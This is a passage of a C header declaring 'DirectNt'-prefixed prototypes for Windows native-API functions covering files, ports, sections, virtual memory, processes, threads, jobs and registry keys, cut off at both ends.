IN ULONG FsControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
NTSTATUS
NTAPI
DirectNtLockFile(
IN HANDLE FileHandle,
IN OPTIONAL HANDLE Event,
IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER ByteOffset,
IN PLARGE_INTEGER Length,
IN ULONG Key,
IN BOOLEAN FailImmediately,
IN BOOLEAN ExclusiveLock
);
NTSTATUS
NTAPI
DirectNtOpenFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG ShareAccess,
IN ULONG OpenOptions
);
NTSTATUS
NTAPI
DirectNtQueryDirectoryFile(
IN HANDLE FileHandle,
IN OPTIONAL HANDLE Event,
IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN OPTIONAL PUNICODE_STRING FileName,
IN BOOLEAN RestartScan
);
NTSTATUS
NTAPI
DirectNtQueryInformationFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass
);
NTSTATUS
NTAPI
DirectNtQueryQuotaInformationFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN BOOLEAN ReturnSingleEntry,
IN PVOID SidList OPTIONAL,
IN ULONG SidListLength,
IN OPTIONAL PSID StartSid,
IN BOOLEAN RestartScan
);
NTSTATUS
NTAPI
DirectNtQueryVolumeInformationFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FsInformation,
IN ULONG Length,
IN FS_INFORMATION_CLASS FsInformationClass
);
NTSTATUS
NTAPI
DirectNtReadFile(
IN HANDLE FileHandle,
IN OPTIONAL HANDLE Event,
IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN OPTIONAL PLARGE_INTEGER ByteOffset,
IN OPTIONAL PULONG Key
);
NTSTATUS
NTAPI
DirectNtSetInformationFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass
);
NTSTATUS
NTAPI
DirectNtSetQuotaInformationFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length
);
NTSTATUS
NTAPI
DirectNtSetVolumeInformationFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID FsInformation,
IN ULONG Length,
IN FS_INFORMATION_CLASS FsInformationClass
);
NTSTATUS
NTAPI
DirectNtWriteFile(
IN HANDLE FileHandle,
IN OPTIONAL HANDLE Event,
IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN OPTIONAL PLARGE_INTEGER ByteOffset,
IN OPTIONAL PULONG Key
);
NTSTATUS
NTAPI
DirectNtUnlockFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER ByteOffset,
IN PLARGE_INTEGER Length,
IN ULONG Key
);
NTSTATUS
NTAPI
DirectNtReadFileScatter(
IN HANDLE FileHandle,
IN OPTIONAL HANDLE Event,
IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PFILE_SEGMENT_ELEMENT SegmentArray,
IN ULONG Length,
IN OPTIONAL PLARGE_INTEGER ByteOffset,
IN OPTIONAL PULONG Key
);
NTSTATUS
NTAPI
DirectNtSetEaFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length
);
NTSTATUS
NTAPI
DirectNtWriteFileGather(
IN HANDLE FileHandle,
IN OPTIONAL HANDLE Event,
IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PFILE_SEGMENT_ELEMENT SegmentArray,
IN ULONG Length,
IN OPTIONAL PLARGE_INTEGER ByteOffset,
IN OPTIONAL PULONG Key
);
NTSTATUS
NTAPI
DirectNtLoadDriver(
IN PUNICODE_STRING DriverServiceName
);
NTSTATUS
NTAPI
DirectNtUnloadDriver(
IN PUNICODE_STRING DriverServiceName
);
NTSTATUS
NTAPI
DirectNtCreateIoCompletion(
OUT PHANDLE IoCompletionHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG Count OPTIONAL
);
NTSTATUS
NTAPI
DirectNtOpenIoCompletion(
OUT PHANDLE IoCompletionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtQueryIoCompletion(
IN HANDLE IoCompletionHandle,
IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass,
OUT PVOID IoCompletionInformation,
IN ULONG IoCompletionInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtSetIoCompletion(
IN HANDLE IoCompletionHandle,
IN PVOID KeyContext,
IN OPTIONAL PVOID ApcContext,
IN NTSTATUS IoStatus,
IN ULONG_PTR IoStatusInformation
);
NTSTATUS
NTAPI
DirectNtRemoveIoCompletion(
IN HANDLE IoCompletionHandle,
OUT PVOID *KeyContext,
OUT PVOID *ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN OPTIONAL PLARGE_INTEGER Timeout
);
NTSTATUS
NTAPI
DirectNtCallbackReturn(
IN PVOID OutputBuffer OPTIONAL,
IN ULONG OutputLength,
IN NTSTATUS Status
);
NTSTATUS
NTAPI
DirectNtQueryDebugFilterState(
IN ULONG ComponentId,
IN ULONG Level
);
NTSTATUS
NTAPI
DirectNtSetDebugFilterState(
IN ULONG ComponentId,
IN ULONG Level,
IN BOOLEAN State
);
NTSTATUS
NTAPI
DirectNtYieldExecution(
VOID
);
NTSTATUS
NTAPI
DirectNtCreatePort(
OUT PHANDLE PortHandle,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG MaxConnectionInfoLength,
IN ULONG MaxMessageLength,
IN OPTIONAL ULONG MaxPoolUsage
);
NTSTATUS
NTAPI
DirectNtCreateWaitablePort(
OUT PHANDLE PortHandle,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG MaxConnectionInfoLength,
IN ULONG MaxMessageLength,
IN OPTIONAL ULONG MaxPoolUsage
);
NTSTATUS
NTAPI
DirectNtConnectPort(
OUT PHANDLE PortHandle,
IN PUNICODE_STRING PortName,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
IN OUT PPORT_VIEW ClientView OPTIONAL,
OUT PREMOTE_PORT_VIEW ServerView OPTIONAL,
OUT PULONG MaxMessageLength OPTIONAL,
IN OUT PVOID ConnectionInformation OPTIONAL,
IN OUT PULONG ConnectionInformationLength OPTIONAL
);
NTSTATUS
NTAPI
DirectNtListenPort(
IN HANDLE PortHandle,
OUT PPORT_MESSAGE ConnectionRequest
);
NTSTATUS
NTAPI
DirectNtAcceptConnectPort(
OUT PHANDLE PortHandle,
IN OPTIONAL PVOID PortContext,
IN PPORT_MESSAGE ConnectionRequest,
IN BOOLEAN AcceptConnection,
IN OUT PPORT_VIEW ServerView OPTIONAL,
OUT PREMOTE_PORT_VIEW ClientView OPTIONAL
);
NTSTATUS
NTAPI
DirectNtCompleteConnectPort(
IN HANDLE PortHandle
);
NTSTATUS
NTAPI
DirectNtRequestPort(
IN HANDLE PortHandle,
IN PPORT_MESSAGE RequestMessage
);
NTSTATUS
NTAPI
DirectNtRequestWaitReplyPort(
IN HANDLE PortHandle,
IN PPORT_MESSAGE RequestMessage,
OUT PPORT_MESSAGE ReplyMessage
);
NTSTATUS
NTAPI
DirectNtReplyPort(
IN HANDLE PortHandle,
IN PPORT_MESSAGE ReplyMessage
);
NTSTATUS
NTAPI
DirectNtReplyWaitReplyPort(
IN HANDLE PortHandle,
IN OUT PPORT_MESSAGE ReplyMessage
);
NTSTATUS
NTAPI
DirectNtReplyWaitReceivePort(
IN HANDLE PortHandle,
OUT OPTIONAL PVOID *PortContext ,
IN OPTIONAL PPORT_MESSAGE ReplyMessage,
OUT PPORT_MESSAGE ReceiveMessage
);
NTSTATUS
NTAPI
DirectNtReplyWaitReceivePortEx(
IN HANDLE PortHandle,
OUT OPTIONAL PVOID *PortContext,
IN OPTIONAL PPORT_MESSAGE ReplyMessage,
OUT PPORT_MESSAGE ReceiveMessage,
IN OPTIONAL PLARGE_INTEGER Timeout
);
NTSTATUS
NTAPI
DirectNtImpersonateClientOfPort(
IN HANDLE PortHandle,
IN PPORT_MESSAGE Message
);
NTSTATUS
NTAPI
DirectNtReadRequestData(
IN HANDLE PortHandle,
IN PPORT_MESSAGE Message,
IN ULONG DataEntryIndex,
OUT PVOID Buffer,
IN ULONG BufferSize,
OUT PULONG NumberOfBytesRead OPTIONAL
);
NTSTATUS
NTAPI
DirectNtWriteRequestData(
IN HANDLE PortHandle,
IN PPORT_MESSAGE Message,
IN ULONG DataEntryIndex,
IN PVOID Buffer,
IN ULONG BufferSize,
OUT PULONG NumberOfBytesWritten OPTIONAL
);
NTSTATUS
NTAPI
DirectNtQueryInformationPort(
IN HANDLE PortHandle,
IN PORT_INFORMATION_CLASS PortInformationClass,
OUT PVOID PortInformation,
IN ULONG Length,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtCreateSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
IN OPTIONAL PLARGE_INTEGER MaximumSize,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN OPTIONAL HANDLE FileHandle
);
NTSTATUS
NTAPI
DirectNtOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Win32Protect
);
NTSTATUS
NTAPI
DirectNtUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress
);
NTSTATUS
NTAPI
DirectNtExtendSection(
IN HANDLE SectionHandle,
IN OUT PLARGE_INTEGER NewSectionSize
);
NTSTATUS
NTAPI
DirectNtAreMappedFilesTheSame(
IN PVOID File1MappedAsAnImage,
IN PVOID File2MappedAsFile
);
NTSTATUS
NTAPI
DirectNtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG_PTR ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
NTSTATUS
NTAPI
DirectNtFreeVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG FreeType
);
NTSTATUS
NTAPI
DirectNtReadVirtualMemory(
IN HANDLE ProcessHandle,
IN OPTIONAL PVOID BaseAddress,
OUT PVOID Buffer,
IN SIZE_T BufferSize,
OUT OPTIONAL PSIZE_T NumberOfBytesRead
);
NTSTATUS
NTAPI
DirectNtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN OPTIONAL PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T BufferSize,
OUT OPTIONAL PSIZE_T NumberOfBytesWritten
);
NTSTATUS
NTAPI
DirectNtFlushVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PSIZE_T RegionSize,
OUT PIO_STATUS_BLOCK IoStatus
);
NTSTATUS
NTAPI
DirectNtLockVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG MapType
);
NTSTATUS
NTAPI
DirectNtUnlockVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG MapType
);
NTSTATUS
NTAPI
DirectNtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect
);
NTSTATUS
NTAPI
DirectNtQueryVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
OUT PVOID MemoryInformation,
IN SIZE_T MemoryInformationLength,
OUT OPTIONAL PSIZE_T ReturnLength
);
NTSTATUS
NTAPI
DirectNtQuerySection(
IN HANDLE SectionHandle,
IN SECTION_INFORMATION_CLASS SectionInformationClass,
OUT PVOID SectionInformation,
IN SIZE_T SectionInformationLength,
OUT OPTIONAL PSIZE_T ReturnLength
);
NTSTATUS
NTAPI
DirectNtMapUserPhysicalPages(
IN PVOID VirtualAddress,
IN ULONG_PTR NumberOfPages,
IN OPTIONAL PULONG_PTR UserPfnArray
);
NTSTATUS
NTAPI
DirectNtMapUserPhysicalPagesScatter(
IN PVOID *VirtualAddresses,
IN ULONG_PTR NumberOfPages,
IN OPTIONAL PULONG_PTR UserPfnArray
);
NTSTATUS
NTAPI
DirectNtAllocateUserPhysicalPages(
IN HANDLE ProcessHandle,
IN OUT PULONG_PTR NumberOfPages,
OUT PULONG_PTR UserPfnArray
);
NTSTATUS
NTAPI
DirectNtFreeUserPhysicalPages(
IN HANDLE ProcessHandle,
IN OUT PULONG_PTR NumberOfPages,
OUT PULONG_PTR UserPfnArray
);
NTSTATUS
NTAPI
DirectNtGetWriteWatch(
IN HANDLE ProcessHandle,
IN ULONG Flags,
IN PVOID BaseAddress,
IN SIZE_T RegionSize,
OUT PVOID *UserAddressArray,
IN OUT PULONG_PTR EntriesInUserAddressArray,
OUT PULONG Granularity
);
NTSTATUS
NTAPI
DirectNtResetWriteWatch(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN SIZE_T RegionSize
);
NTSTATUS
NTAPI
DirectNtCreatePagingFile(
IN PUNICODE_STRING PageFileName,
IN PLARGE_INTEGER MinimumSize,
IN PLARGE_INTEGER MaximumSize,
IN ULONG Priority
);
NTSTATUS
NTAPI
DirectNtFlushInstructionCache(
IN HANDLE ProcessHandle,
IN OPTIONAL PVOID BaseAddress,
IN SIZE_T Length
);
NTSTATUS
NTAPI
DirectNtFlushWriteBuffer(
VOID
);
NTSTATUS
NTAPI
DirectNtQueryObject(
IN HANDLE Handle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtSetInformationObject(
IN HANDLE Handle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
IN PVOID ObjectInformation,
IN ULONG ObjectInformationLength
);
NTSTATUS
NTAPI
DirectNtDuplicateObject(
IN HANDLE SourceProcessHandle,
IN HANDLE SourceHandle,
IN OPTIONAL HANDLE TargetProcessHandle,
OUT OPTIONAL PHANDLE TargetHandle,
IN ACCESS_MASK DesiredAccess,
IN ULONG HandleAttributes,
IN ULONG Options
);
NTSTATUS
NTAPI
DirectNtMakeTemporaryObject(
IN HANDLE Handle
);
NTSTATUS
NTAPI
DirectNtMakePermanentObject(
IN HANDLE Handle
);
NTSTATUS
NTAPI
DirectNtSignalAndWaitForSingleObject(
IN HANDLE SignalHandle,
IN HANDLE WaitHandle,
IN BOOLEAN Alertable,
IN OPTIONAL PLARGE_INTEGER Timeout
);
NTSTATUS
NTAPI
DirectNtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN OPTIONAL PLARGE_INTEGER Timeout
);
NTSTATUS
NTAPI
DirectNtWaitForMultipleObjects(
IN ULONG Count,
IN HANDLE Handles[],
IN WAIT_TYPE WaitType,
IN BOOLEAN Alertable,
IN OPTIONAL PLARGE_INTEGER Timeout
);
NTSTATUS
NTAPI
DirectNtWaitForMultipleObjects32(
IN ULONG Count,
IN LONG Handles[],
IN WAIT_TYPE WaitType,
IN BOOLEAN Alertable,
IN OPTIONAL PLARGE_INTEGER Timeout
);
NTSTATUS
NTAPI
DirectNtSetSecurityObject(
IN HANDLE Handle,
IN SECURITY_INFORMATION SecurityInformation,
IN PSECURITY_DESCRIPTOR SecurityDescriptor
);
NTSTATUS
NTAPI
DirectNtQuerySecurityObject(
IN HANDLE Handle,
IN SECURITY_INFORMATION SecurityInformation,
OUT PSECURITY_DESCRIPTOR SecurityDescriptor,
IN ULONG Length,
OUT PULONG LengthNeeded
);
NTSTATUS
NTAPI
DirectNtClose(
IN HANDLE Handle
);
NTSTATUS
NTAPI
DirectNtCreateDirectoryObject(
OUT PHANDLE DirectoryHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtOpenDirectoryObject(
OUT PHANDLE DirectoryHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtQueryDirectoryObject(
IN HANDLE DirectoryHandle,
OUT PVOID Buffer,
IN ULONG Length,
IN BOOLEAN ReturnSingleEntry,
IN BOOLEAN RestartScan,
IN OUT PULONG Context,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtCreateSymbolicLinkObject(
OUT PHANDLE LinkHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PUNICODE_STRING LinkTarget
);
NTSTATUS
NTAPI
DirectNtOpenSymbolicLinkObject(
OUT PHANDLE LinkHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtQuerySymbolicLinkObject(
IN HANDLE LinkHandle,
IN OUT PUNICODE_STRING LinkTarget,
OUT OPTIONAL PULONG ReturnedLength
);
NTSTATUS
NTAPI
DirectNtGetPlugPlayEvent(
IN HANDLE EventHandle,
IN OPTIONAL PVOID Context,
OUT PPLUGPLAY_EVENT_BLOCK EventBlock,
IN ULONG EventBufferSize
);
NTSTATUS
NTAPI
DirectNtPlugPlayControl(
IN PLUGPLAY_CONTROL_CLASS PnPControlClass,
IN OUT PVOID PnPControlData,
IN ULONG PnPControlDataLength
);
NTSTATUS
NTAPI
DirectNtPowerInformation(
IN POWER_INFORMATION_LEVEL InformationLevel,
IN OPTIONAL PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT OPTIONAL PVOID OutputBuffer,
IN ULONG OutputBufferLength
);
NTSTATUS
NTAPI
DirectNtSetThreadExecutionState(
IN EXECUTION_STATE esFlags, // ES_xxx flags
OUT EXECUTION_STATE *PreviousFlags
);
NTSTATUS
NTAPI
DirectNtRequestWakeupLatency(
IN LATENCY_TIME latency
);
NTSTATUS
NTAPI
DirectNtInitiatePowerAction(
IN POWER_ACTION SystemAction,
IN SYSTEM_POWER_STATE MinSystemState,
IN ULONG Flags, // POWER_ACTION_xxx flags
IN BOOLEAN Asynchronous
);
NTSTATUS
NTAPI
DirectNtSetSystemPowerState(
IN POWER_ACTION SystemAction,
IN SYSTEM_POWER_STATE MinSystemState,
IN ULONG Flags // POWER_ACTION_xxx flags
);
NTSTATUS
NTAPI
DirectNtGetDevicePowerState(
IN HANDLE Device,
OUT DEVICE_POWER_STATE *State
);
NTSTATUS
NTAPI
DirectNtCancelDeviceWakeupRequest(
IN HANDLE Device
);
NTSTATUS
NTAPI
DirectNtRequestDeviceWakeup(
IN HANDLE Device
);
NTSTATUS
NTAPI
DirectNtCreateProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
IN HANDLE ParentProcess,
IN BOOLEAN InheritObjectTable,
IN OPTIONAL HANDLE SectionHandle,
IN OPTIONAL HANDLE DebugPort,
IN OPTIONAL HANDLE ExceptionPort
);
NTSTATUS
NTAPI
DirectNtCreateProcessEx(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
IN HANDLE ParentProcess,
IN ULONG Flags,
IN OPTIONAL HANDLE SectionHandle,
IN OPTIONAL HANDLE DebugPort,
IN OPTIONAL HANDLE ExceptionPort,
IN ULONG JobMemberLevel
);
NTSTATUS
NTAPI
DirectNtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN OPTIONAL PCLIENT_ID ClientId
);
NTSTATUS
NTAPI
DirectNtTerminateProcess(
IN OPTIONAL HANDLE ProcessHandle,
IN NTSTATUS ExitStatus
);
NTSTATUS
NTAPI
DirectNtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtGetNextProcess(
IN HANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN ULONG HandleAttributes,
IN ULONG Flags,
OUT PHANDLE NewProcessHandle
);
NTSTATUS
NTAPI
DirectNtGetNextThread(
IN HANDLE ProcessHandle,
IN HANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN ULONG HandleAttributes,
IN ULONG Flags,
OUT PHANDLE NewThreadHandle
);
NTSTATUS
NTAPI
DirectNtQueryPortInformationProcess(
VOID
);
NTSTATUS
NTAPI
DirectNtSetInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength
);
NTSTATUS
NTAPI
DirectNtCreateThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
IN HANDLE ProcessHandle,
OUT PCLIENT_ID ClientId,
IN PCONTEXT ThreadContext,
IN PINITIAL_TEB InitialTeb,
IN BOOLEAN CreateSuspended
);
NTSTATUS
NTAPI
DirectNtOpenThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN OPTIONAL PCLIENT_ID ClientId
);
NTSTATUS
NTAPI
DirectNtTerminateThread(
IN OPTIONAL HANDLE ThreadHandle,
IN NTSTATUS ExitStatus
);
NTSTATUS
NTAPI
DirectNtSuspendThread(
IN HANDLE ThreadHandle,
OUT OPTIONAL PULONG PreviousSuspendCount
);
NTSTATUS
NTAPI
DirectNtResumeThread(
IN HANDLE ThreadHandle,
OUT OPTIONAL PULONG PreviousSuspendCount
);
NTSTATUS
NTAPI
DirectNtSuspendProcess(
IN HANDLE ProcessHandle
);
NTSTATUS
NTAPI
DirectNtResumeProcess(
IN HANDLE ProcessHandle
);
NTSTATUS
NTAPI
DirectNtGetContextThread(
IN HANDLE ThreadHandle,
IN OUT PCONTEXT ThreadContext
);
NTSTATUS
NTAPI
DirectNtSetContextThread(
IN HANDLE ThreadHandle,
IN PCONTEXT ThreadContext
);
NTSTATUS
NTAPI
DirectNtQueryInformationThread(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtSetInformationThread(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
IN PVOID ThreadInformation,
IN ULONG ThreadInformationLength
);
NTSTATUS
NTAPI
DirectNtAlertThread(
IN HANDLE ThreadHandle
);
NTSTATUS
NTAPI
DirectNtAlertResumeThread(
IN HANDLE ThreadHandle,
OUT OPTIONAL PULONG PreviousSuspendCount
);
NTSTATUS
NTAPI
DirectNtImpersonateThread(
IN HANDLE ServerThreadHandle,
IN HANDLE ClientThreadHandle,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos
);
NTSTATUS
NTAPI
DirectNtTestAlert(
VOID
);
NTSTATUS
NTAPI
DirectNtRegisterThreadTerminatePort(
IN HANDLE PortHandle
);
NTSTATUS
NTAPI
DirectNtSetLdtEntries(
IN ULONG Selector0,
IN ULONG Entry0Low,
IN ULONG Entry0Hi,
IN ULONG Selector1,
IN ULONG Entry1Low,
IN ULONG Entry1Hi
);
NTSTATUS
NTAPI
DirectNtQueueApcThread(
IN HANDLE ThreadHandle,
IN PPS_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcArgument1,
IN OPTIONAL PVOID ApcArgument2,
IN OPTIONAL PVOID ApcArgument3
);
NTSTATUS
NTAPI
DirectNtCreateJobObject(
OUT PHANDLE JobHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtOpenJobObject(
OUT PHANDLE JobHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtAssignProcessToJobObject(
IN HANDLE JobHandle,
IN HANDLE ProcessHandle
);
NTSTATUS
NTAPI
DirectNtTerminateJobObject(
IN HANDLE JobHandle,
IN NTSTATUS ExitStatus
);
NTSTATUS
NTAPI
DirectNtIsProcessInJob(
IN HANDLE ProcessHandle,
IN OPTIONAL HANDLE JobHandle
);
NTSTATUS
NTAPI
DirectNtCreateJobSet(
IN ULONG NumJob,
IN PJOB_SET_ARRAY UserJobSet,
IN ULONG Flags
);
NTSTATUS
NTAPI
DirectNtQueryInformationJobObject(
IN OPTIONAL HANDLE JobHandle,
IN JOBOBJECTINFOCLASS JobObjectInformationClass,
IN PVOID JobObjectInformation,
IN ULONG JobObjectInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtSetInformationJobObject(
IN HANDLE JobHandle,
IN JOBOBJECTINFOCLASS JobObjectInformationClass,
IN PVOID JobObjectInformation,
IN ULONG JobObjectInformationLength
);
NTSTATUS
NTAPI
DirectNtCreateKey(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG TitleIndex,
IN PUNICODE_STRING Class OPTIONAL,
IN ULONG CreateOptions,
OUT PULONG Disposition OPTIONAL
);
NTSTATUS
NTAPI
DirectNtDeleteKey(
IN HANDLE KeyHandle
);
NTSTATUS
NTAPI
DirectNtDeleteValueKey(
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName
);
NTSTATUS
NTAPI
DirectNtEnumerateKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_INFORMATION_CLASS KeyInformationClass,
OUT PVOID KeyInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
NTSTATUS
NTAPI
DirectNtEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
NTSTATUS
NTAPI
DirectNtFlushKey(
IN HANDLE KeyHandle
);
NTSTATUS
NTAPI
DirectNtInitializeRegistry(
IN USHORT BootCondition
);
NTSTATUS
NTAPI
DirectNtNotifyChangeKey(
IN HANDLE KeyHandle,
IN OPTIONAL HANDLE Event,
IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG CompletionFilter,
IN BOOLEAN WatchTree,
OUT PVOID Buffer,
IN ULONG BufferSize,
IN BOOLEAN Asynchronous
);
NTSTATUS
NTAPI
DirectNtNotifyChangeMultipleKeys(
IN HANDLE MasterKeyHandle,
IN OPTIONAL ULONG Count,
IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[],
IN OPTIONAL HANDLE Event,
IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG CompletionFilter,
IN BOOLEAN WatchTree,
OUT OPTIONAL PVOID Buffer,
IN ULONG BufferSize,
IN BOOLEAN Asynchronous
);
NTSTATUS
NTAPI
DirectNtLoadKey(
IN POBJECT_ATTRIBUTES TargetKey,
IN POBJECT_ATTRIBUTES SourceFile
);
NTSTATUS
NTAPI
